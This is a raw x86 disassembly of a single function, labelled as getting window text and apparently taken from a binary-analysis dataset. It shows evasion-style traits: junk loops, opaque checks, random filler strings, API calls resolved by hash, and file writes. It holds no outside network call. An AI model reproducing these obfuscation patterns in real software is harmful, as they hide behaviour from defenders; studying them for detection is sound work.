Function at 0x10037187
Capabilities:
Get graphical window text

Disassembly:
mov eax, 0x1005857f
call fcn.10056dd0
sub esp, 0x13c
cmp byte [ebp + 0x10], 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, ecx
mov byte [ebp - 0x54], dl
je 0x100379cd
mov dword [ebp - 0x1c], 0x618d
xor ebx, ebx
cmp dword [ebp - 0x1c], 0x6376
mov esi, 0x10070c18
jle 0x10037210
mov edi, ebx
mov dword [ebp - 0x14], edi
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov ecx, eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x30], ebx
sar edi, cl
mov ecx, ebx
mov eax, edi
shl eax, cl
mov ecx, esi
cdq
push edx
push eax
call fcn.1000bb2c
inc ebx
cmp ebx, 0xfbd
jl 0x100371d7
mov eax, dword [ebp - 0x18]
mov edi, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x18], eax
push 0
pop ebx
cmp eax, 0x33d8
jl 0x100371cd
inc edi
mov dword [ebp - 0x14], edi
cmp edi, 0x5116
jl 0x100371c8
cmp byte [ebp + 0x14], 0
je 0x10037985
mov edi, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x20]
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x20], ecx
mov eax, dword [edi]
cmp eax, dword [edi + 4]
je 0x1003797a
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x9c], ebx
push eax
push 0x1000
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
call fcn.1000ca8c
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x5c]
sub eax, dword [ebp - 0x60]
push dword [ebp - 0x60]
sar eax, 1
push eax
push 0xb499
push 0xa140
call fcn.1002259d
pop ecx
pop ecx
call eax
push dword [ebp - 0x60]
lea ecx, [ebp - 0x80]
call fcn.10023280
push 0x5a4f
mov byte [ebp - 4], 1
call fcn.1000ba73
cmp dword [ebp - 0x6c], 8
pop ecx
movzx edx, ax
lea ecx, [ebp - 0x80]
cmovae ecx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x64], edx
cmp word [ecx + eax*2 - 2], dx
je 0x100372bf
push 1
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x80]
push eax
push ecx
push ecx
call fcn.10036778
add esp, 0x14
push ecx
mov edx, 0x4a97
lea ecx, [ebp - 0x130]
call fcn.1002696d
push ecx
push eax
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 2
call fcn.100387b1
push ebx
push 1
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 1
call fcn.1000c799
cmp dword [ebp - 0x6c], 8
lea eax, [ebp - 0x80]
push ebx
cmovae eax, dword [ebp - 0x80]
push eax
push 0xb499
push 0x741b
call fcn.1002259d
pop ecx
pop ecx
call eax
push 0x4680
push 1
lea eax, [ebp - 0x64]
mov edx, 0x2988
push eax
push 0x1ca9
push 1
lea eax, [ebp - 0x80]
mov ecx, 0x3b3a
push 1
push eax
call fcn.100367cf
push 0x3a13
lea eax, [ebp - 0x68]
mov dword [ebp - 0x68], ebx
push eax
push 0x392d
push 0x5ae0
mov edx, edi
xor cl, cl
call fcn.10037a93
mov dword [ebp - 0x18], 0x6303
add esp, 0x2c
cmp dword [ebp - 0x18], 0x6332
jle 0x100373ac
mov dword [ebp + 0x10], ebx
mov edi, ebx
mov eax, ebx
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
add eax, edi
mov ecx, esi
or eax, ebx
cdq
push edx
push eax
call fcn.1000bb2c
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x727e
jl 0x10037376
inc edi
push 0
pop ebx
cmp edi, 0x5206
jl 0x1003736e
mov eax, dword [ebp + 0x10]
inc eax
mov dword [ebp + 0x10], eax
cmp eax, 0x511f
jl 0x1003736c
mov byte [ebp - 4], 3
cmp dword [ebp - 0x18], 0x5f25
jge 0x100373ee
mov edx, str.rbqtz_iqdp_qzbwzgwfs_kuitpxqqp_xohywld
mov ecx, esi
call fcn.1000e878
jmp 0x100373ee
mov al, bl
mov dword [ebp - 4], 1
mov byte [ebp + 0x13], al
mov ecx, ebx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x12c
jae 0x100378d2
test al, al
jne 0x100378d2
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0xb4]
call fcn.1000bc41
push 0x10
pop edx
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 5
call fcn.10026c17
push 1
push 1
lea edx, [ebp - 0x118]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb4]
call fcn.10036c8e
mov dword [ebp - 0x30], 0x5d10
cmp dword [ebp - 0x30], 0x602c
pop ecx
pop ecx
jle 0x100374b5
push 0x2ec
push ebx
push 0x1d1d
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x727e
mov edi, ebx
mov ebx, dword [ebp - 0x14]
mov eax, edi
mov ecx, esi
or eax, ebx
cdq
push edx
push eax
call fcn.1000bb2c
inc edi
cmp edi, 0x1321
jl 0x10037482
mov edi, dword [ebp - 0x2c]
add ebx, edi
dec dword [ebp - 0x18]
push 0
mov dword [ebp - 0x14], ebx
pop ebx
jne 0x1003747d
inc edi
mov dword [ebp - 0x2c], edi
cmp edi, 0x106e
jl 0x10037473
mov byte [ebp - 4], 7
cmp dword [ebp - 0x30], 0x5a4b
jge 0x100374f7
mov edx, str.itsouwnzo_etjsylfak_inbpehs_pvtfnn_jakzpz_htrckxtjs_hsui_vtkqumo_ovkslgqec_fmaemirdz_rfimpdavo_pled_alzzp
mov ecx, esi
call fcn.1000e878
jmp 0x100374f7
push 0x65
mov dword [ebp - 4], 6
mov ecx, ebx
pop eax
push 2
mov dword [ebp - 0x48], 0x1d02ae03
mov byte [ebp - 0x44], bl
mov dword [ebp - 0x43], 0x34b0156
mov word [ebp - 0x3f], 0xa309
mov byte [ebp - 0x3d], 0x66
mov word [ebp - 0x86], ax
pop edi
mov dword [ebp - 0x2c], ecx
cmp edi, 8
jne 0x1003753b
push 4
pop ecx
push 0xa
mov dword [ebp - 0x2c], ecx
pop edi
jmp 0x10037590
movzx edx, byte [ebp + edi - 0x47]
mov eax, edi
sub eax, ecx
push 0x4e87
push 0x134d
push 1
movzx eax, byte [ebp + eax - 0x4a]
push ebx
movzx ecx, word [ebp + eax*2 - 0x8c]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + edi - 0x48]
add ecx, edx
mov dl, 1
mov word [ebp + eax*2 - 0x8c], cx
lea eax, [ebp - 0x2c]
push eax
push 0x7d8f
mov ecx, 0x2b36
call fcn.10037082
mov ecx, dword [ebp - 0x2c]
add esp, 0x18
add edi, 2
cmp edi, 0xc
jb 0x1003752b
xor eax, eax
mov dword [ebp - 0xe8], 7
mov word [ebp - 0x84], ax
lea ecx, [ebp - 0xfc]
mov word [ebp - 0xfc], ax
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0xec], ebx
call fcn.100235cd
push ecx
push ecx
lea eax, [ebp - 0xfc]
mov byte [ebp - 4], 9
push eax
lea ecx, [ebp - 0xb4]
call fcn.100387b1
push ebx
push 1
lea ecx, [ebp - 0xfc]
mov byte [ebp - 4], 6
call fcn.1000c799
xor eax, eax
lea edi, [ebp - 0x8c]
cmp dword [ebp - 0xa0], 8
stosd dword es:[edi], eax
push ebx
push 0x80
push 2
stosd dword es:[edi], eax
push ebx
push ebx
push 0x40000000
stosw word es:[edi], ax
lea eax, [ebp - 0xb4]
cmovae eax, dword [ebp - 0xb4]
mov edi, 0xb499
push eax
push edi
push 0x6da8
call fcn.1002259d
pop ecx
pop ecx
call eax
mov dword [ebp - 0x30], eax
cmp eax, 0xffffffff
je 0x100378a6
mov ecx, dword [ebp - 0x4c]
lea edx, [ebp - 0x100]
push ebx
push edx
push dword [ebp - 0x68]
push dword [ecx]
push eax
push edi
push 0x2044
call fcn.1002259d
pop ecx
pop ecx
call eax
push dword [ebp - 0x30]
test eax, eax
push edi
push 0xfb8a
setne bl
call fcn.1002259d
pop ecx
pop ecx
call eax
test bl, bl
je 0x100378a4
push 0x22
pop eax
xor ebx, ebx
mov dword [ebp - 0x28], 0x7b011100
push 2
mov ecx, ebx
mov word [ebp - 0x34], ax
pop esi
mov dword [ebp - 0x50], ecx
cmp esi, 2
jne 0x100376a7
push esi
pop ecx
mov dword [ebp - 0x50], ecx
jmp 0x100376f7
movzx edx, byte [ebp + esi - 0x27]
mov eax, esi
sub eax, ecx
push 0x60b5
push 0x7431
push 1
movzx eax, byte [ebp + eax - 0x2a]
push 1
push 0x1685
movzx ecx, word [ebp + eax*2 - 0x34]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x28]
add ecx, edx
mov dl, 1
mov word [ebp + eax*2 - 0x34], cx
lea eax, [ebp - 0x50]
push eax
mov ecx, 0xe74
call fcn.10037082
mov ecx, dword [ebp - 0x50]
add esp, 0x18
add esi, 2
cmp esi, 4
jb 0x1003769b
xor eax, eax
mov dword [ebp - 0xb8], 7
mov word [ebp - 0x32], ax
lea ecx, [ebp - 0xcc]
mov word [ebp - 0xcc], ax
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0xbc], ebx
call fcn.100235cd
push 1
push 0x35c9
push 0x7273
lea eax, [ebp - 0xb4]
mov byte [ebp - 4], 0xa
push eax
push 1
push 0xfcf
push 0x1f70
push 0x1d60
push 0x74fc
push 0x5b2e
push 0x66a3
push 0xd5b
push 1
mov edx, 0x338c
mov dword [ebp - 0x34], ebx
lea ecx, [ebp - 0xcc]
call fcn.10036d7c
add esp, 0x34
mov dword [ebp - 0x3c], 0x7303de01
mov dword [ebp - 0x38], 0xd007c02
push 0x20
pop eax
push 2
mov word [ebp - 0x96], ax
pop esi
movzx eax, byte [ebp + esi - 0x3e]
movzx edx, byte [ebp + esi - 0x3b]
movzx ecx, word [ebp + eax*2 - 0x98]
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
movzx eax, byte [ebp + esi - 0x3c]
add edx, ecx
add esi, 2
mov word [ebp + eax*2 - 0x98], dx
cmp esi, 8
jb 0x1003779a
xor eax, eax
mov dword [ebp - 0xd0], 7
mov word [ebp - 0x90], ax
lea ecx, [ebp - 0xe4]
mov word [ebp - 0xe4], ax
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0xd4], ebx
call fcn.100235cd
push ecx
push ecx
lea eax, [ebp - 0xe4]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [ebp - 0xcc]
call fcn.100387b1
push ebx
push 1
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0xa
call fcn.1000c799
xor eax, eax
lea edi, [ebp - 0x98]
stosd dword es:[edi], eax
mov edx, 0x106e
push ebx
push 0x723a
mov ecx, 0x540b
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp + 0x13]
push eax
call fcn.10037ddc
add esp, 0xc
lea edx, [ebp - 0x80]
lea ecx, [ebp - 0xcc]
call fcn.10034cc6
mov ecx, dword [ebp + 0x20]
push ebx
push 1
mov dword [ecx], eax
lea ecx, [ebp - 0xcc]
call fcn.1000c799
push ebx
push 1
lea ecx, [ebp - 0x118]
call fcn.1000c799
push ebx
push 1
lea ecx, [ebp - 0xb4]
call fcn.1000c799
push ebx
push 1
lea ecx, [ebp - 0x80]
call fcn.1000c799
lea ecx, [ebp - 0x60]
call fcn.1000cb13
jmp 0x10037a0c
xor ebx, ebx
push ebx
push 1
lea ecx, [ebp - 0x118]
call fcn.1000c799
push ebx
push 1
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 1
call fcn.1000c799
mov ecx, dword [ebp - 0x1c]
mov al, byte [ebp + 0x13]
inc ecx
jmp 0x100373fc
mov dword [ebp - 0x4c], 0x37e8
cmp dword [ebp - 0x4c], 0x3a86
jle 0x1003796c
push ebx
push 0x153a
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
mov esi, ebx
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov dword [ebp - 0x1c], ebx
mov eax, esi
mov dword [ebp + 0x10], 0x7313
cdq
idiv edi
mov edi, edx
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x148]
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003792a
mov eax, dword [eax]
push eax
call fcn.10040493
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x148]
call fcn.1000c5c5
inc esi
cmp esi, 0x675f
jl 0x1003790c
inc edi
dec dword [ebp + 0x10]
jne 0x1003790a
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x4a9d
jl 0x100378fc
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x7836
jl 0x100378f7
mov ecx, dword [ebp + 0x20]
mov dword [ecx], 2
jmp 0x1003788c
mov dword [ecx], 1
jmp 0x10037a0c
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x10037995
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x1c], 0x6110
jge 0x100379b1
mov edx, str.nrd_yhghx_yjhetzma_yqjkyow_fhywoflad_yxxw_dtenpugq_rcrr_sxurkj_hjioyl_tlaials_qbemfd_zlsdwdyhu
mov ecx, esi
call fcn.1000e878
jmp 0x10037a0c
test dl, dl
je 0x100379ed
mov eax, dword [ebp + 0xc]
mov edx, dword [eax]
mov eax, dword [ebp + 0x24]
mov ecx, dword [eax]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov eax, dword [eax + edx*4]
cmp eax, dword [ecx + edx*4]
jge 0x10037a0c
or dword [esi], 0xffffffff
jmp 0x10037a0c
mov eax, dword [ebp + 0x18]
cmp byte [eax], 0
je 0x10037a0c
push ecx
push ecx
push 0x5e35
push 0x59dd
push ecx
mov dl, 1
call fcn.10037d15
add esp, 0x14
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret